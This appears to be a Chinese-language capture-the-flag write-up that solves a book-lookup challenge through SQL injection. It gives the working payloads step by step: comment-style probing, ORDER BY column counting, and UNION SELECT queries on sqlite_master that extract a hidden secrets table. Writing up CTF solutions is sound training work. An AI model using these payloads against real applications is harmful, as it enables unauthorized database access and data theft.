>lhzctf

我们都是热爱在图书馆学习的孩子

1.打开靶机

是一个图书编号查询界面。

2.获取信息

输入:

1'and 1=1#

回显SQLite error: unrecognized token: “#"。

发现数据库是SQLLite。

改用:

1'and 1=1--+

正常回显图书。

并且:

1'and 1=2--+

不回显,所以存在字符型注入。

3.确认表中列数

1'order by 3--+

回显*SQLite error: 1st ORDER BY term out of range - should be between 1 and 2**。

有两列。

4.尝试注入

1' and 1=2 union select 1,name from sqlite_master where type='table' --+

得到books和secrets两张表:

1' and 1=2 union select 1,sql from sqlite_master where name='secrets' --+

得到name和value两列:

1' and 1=2 union select name,value from secrets --+

得到flag。